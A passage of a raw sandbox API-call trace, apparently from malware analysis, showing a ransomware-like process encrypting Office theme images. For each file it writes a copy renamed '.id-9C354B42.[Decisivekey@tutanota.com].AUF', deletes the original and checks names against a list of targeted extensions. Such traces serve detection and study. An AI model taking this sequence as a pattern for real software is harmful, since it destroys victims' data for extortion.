dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0214.036] GetLastError () returned 0x0 [0214.036] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x137f, lpOverlapped=0x0) returned 1 [0214.046] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0214.047] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.047] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0214.047] SetEndOfFile (hFile=0x1f0) returned 1 [0214.048] CloseHandle (hObject=0x1f0) returned 1 [0214.048] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.048] SetEndOfFile (hFile=0x224) returned 1 [0214.049] CloseHandle (hObject=0x224) returned 1 [0214.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.049] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0214.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0214.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0214.049] lstrlenW (lpString=".doc") returned 4 [0214.049] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0214.049] lstrlenW (lpString=".docx") returned 5 [0214.049] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0214.049] lstrlenW (lpString=".pdf") returned 4 [0214.049] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0214.049] lstrlenW (lpString=".xls") returned 4 [0214.049] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0214.049] lstrlenW (lpString=".xlsx") returned 5 [0214.049] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0214.049] lstrlenW (lpString=".ppt") returned 4 [0214.049] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0214.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0214.050] lstrlenW (lpString=".zip") returned 4 [0214.050] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0214.050] lstrlenW (lpString=".rar") returned 4 [0214.050] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0214.050] lstrlenW (lpString=".bz2") returned 4 [0214.050] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0214.050] lstrlenW (lpString=".7z") returned 3 [0214.050] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0214.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0214.050] lstrlenW (lpString=".dbf") returned 4 [0214.050] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0214.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0214.050] lstrlenW (lpString=".1cd") returned 4 [0214.050] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0214.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0214.050] lstrlenW (lpString=".jpg") returned 4 [0214.050] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0214.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0214.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0214.050] lstrlenW (lpString=".doc") returned 4 [0214.050] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0214.050] lstrlenW (lpString=".docx") returned 5 [0214.050] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0214.050] lstrlenW (lpString=".pdf") returned 4 [0214.050] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0214.050] lstrlenW (lpString=".xls") returned 4 [0214.050] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0214.050] lstrlenW (lpString=".xlsx") returned 5 [0214.050] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0214.050] lstrlenW (lpString=".ppt") returned 4 [0214.050] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0214.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0214.050] lstrlenW (lpString=".zip") returned 4 [0214.050] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0214.050] lstrlenW (lpString=".rar") returned 4 [0214.050] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0214.050] lstrlenW (lpString=".bz2") returned 4 [0214.050] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0214.050] lstrlenW (lpString=".7z") returned 3 [0214.050] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0214.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0214.050] lstrlenW (lpString=".dbf") returned 4 [0214.050] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0214.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0214.050] lstrlenW (lpString=".1cd") returned 4 [0214.050] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0214.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0214.050] lstrlenW (lpString=".jpg") returned 4 [0214.050] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0214.051] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0214.051] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0214.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0214.053] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=42453) returned 1 [0214.053] CloseHandle (hObject=0x224) returned 1 [0214.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0214.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0214.054] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.054] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0214.054] GetLastError () returned 0x0 [0214.054] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xa5d5, lpOverlapped=0x0) returned 1 [0214.093] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xa5e0, lpOverlapped=0x0) returned 1 [0214.094] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.094] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0214.094] SetEndOfFile (hFile=0x1f0) returned 1 [0214.094] CloseHandle (hObject=0x1f0) returned 1 [0214.095] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.095] SetEndOfFile (hFile=0x224) returned 1 [0214.095] CloseHandle (hObject=0x224) returned 1 [0214.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.096] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0214.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0214.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0214.096] lstrlenW (lpString=".doc") returned 4 [0214.096] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.096] lstrlenW (lpString=".docx") returned 5 [0214.096] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.096] lstrlenW (lpString=".pdf") returned 4 [0214.096] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.096] lstrlenW (lpString=".xls") returned 4 [0214.096] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.096] lstrlenW (lpString=".xlsx") returned 5 [0214.096] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.096] lstrlenW (lpString=".ppt") returned 4 [0214.096] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0214.096] lstrlenW (lpString=".zip") returned 4 [0214.096] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.096] lstrlenW (lpString=".rar") returned 4 [0214.096] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.096] lstrlenW (lpString=".bz2") returned 4 [0214.096] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.096] lstrlenW (lpString=".7z") returned 3 [0214.096] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0214.096] lstrlenW (lpString=".dbf") returned 4 [0214.096] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0214.096] lstrlenW (lpString=".1cd") returned 4 [0214.096] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0214.096] lstrlenW (lpString=".jpg") returned 4 [0214.096] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0214.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0214.096] lstrlenW (lpString=".doc") returned 4 [0214.096] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.097] lstrlenW (lpString=".docx") returned 5 [0214.097] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.097] lstrlenW (lpString=".pdf") returned 4 [0214.097] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.097] lstrlenW (lpString=".xls") returned 4 [0214.097] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.097] lstrlenW (lpString=".xlsx") returned 5 [0214.097] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.097] lstrlenW (lpString=".ppt") returned 4 [0214.097] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0214.097] lstrlenW (lpString=".zip") returned 4 [0214.097] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.097] lstrlenW (lpString=".rar") returned 4 [0214.097] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.097] lstrlenW (lpString=".bz2") returned 4 [0214.097] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.097] lstrlenW (lpString=".7z") returned 3 [0214.097] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0214.097] lstrlenW (lpString=".dbf") returned 4 [0214.097] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0214.097] lstrlenW (lpString=".1cd") returned 4 [0214.097] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0214.097] lstrlenW (lpString=".jpg") returned 4 [0214.097] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.097] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0214.097] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0214.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0214.098] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1571) returned 1 [0214.098] CloseHandle (hObject=0x224) returned 1 [0214.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0214.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0214.098] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.098] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0214.100] GetLastError () returned 0x0 [0214.100] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x623, lpOverlapped=0x0) returned 1 [0214.105] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x630, lpOverlapped=0x0) returned 1 [0214.105] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.105] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0214.105] SetEndOfFile (hFile=0x1f0) returned 1 [0214.105] CloseHandle (hObject=0x1f0) returned 1 [0214.106] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.106] SetEndOfFile (hFile=0x224) returned 1 [0214.106] CloseHandle (hObject=0x224) returned 1 [0214.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.107] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0214.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0214.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0214.107] lstrlenW (lpString=".doc") returned 4 [0214.107] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0214.107] lstrlenW (lpString=".docx") returned 5 [0214.107] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0214.107] lstrlenW (lpString=".pdf") returned 4 [0214.107] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0214.107] lstrlenW (lpString=".xls") returned 4 [0214.107] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0214.107] lstrlenW (lpString=".xlsx") returned 5 [0214.107] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0214.107] lstrlenW (lpString=".ppt") returned 4 [0214.107] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0214.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0214.107] lstrlenW (lpString=".zip") returned 4 [0214.107] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0214.107] lstrlenW (lpString=".rar") returned 4 [0214.107] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0214.107] lstrlenW (lpString=".bz2") returned 4 [0214.107] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0214.107] lstrlenW (lpString=".7z") returned 3 [0214.107] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0214.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0214.107] lstrlenW (lpString=".dbf") returned 4 [0214.107] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0214.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0214.107] lstrlenW (lpString=".1cd") returned 4 [0214.107] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0214.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0214.107] lstrlenW (lpString=".jpg") returned 4 [0214.107] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0214.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0214.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0214.107] lstrlenW (lpString=".doc") returned 4 [0214.107] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0214.108] lstrlenW (lpString=".docx") returned 5 [0214.108] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0214.108] lstrlenW (lpString=".pdf") returned 4 [0214.108] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0214.108] lstrlenW (lpString=".xls") returned 4 [0214.108] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0214.108] lstrlenW (lpString=".xlsx") returned 5 [0214.108] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0214.108] lstrlenW (lpString=".ppt") returned 4 [0214.108] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0214.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0214.108] lstrlenW (lpString=".zip") returned 4 [0214.108] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0214.108] lstrlenW (lpString=".rar") returned 4 [0214.108] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0214.108] lstrlenW (lpString=".bz2") returned 4 [0214.108] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0214.108] lstrlenW (lpString=".7z") returned 3 [0214.108] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0214.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0214.108] lstrlenW (lpString=".dbf") returned 4 [0214.108] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0214.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0214.108] lstrlenW (lpString=".1cd") returned 4 [0214.108] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0214.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0214.108] lstrlenW (lpString=".jpg") returned 4 [0214.108] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0214.108] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0214.108] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0214.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0214.109] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=30170) returned 1 [0214.109] CloseHandle (hObject=0x224) returned 1 [0214.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0214.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0214.109] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.109] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, 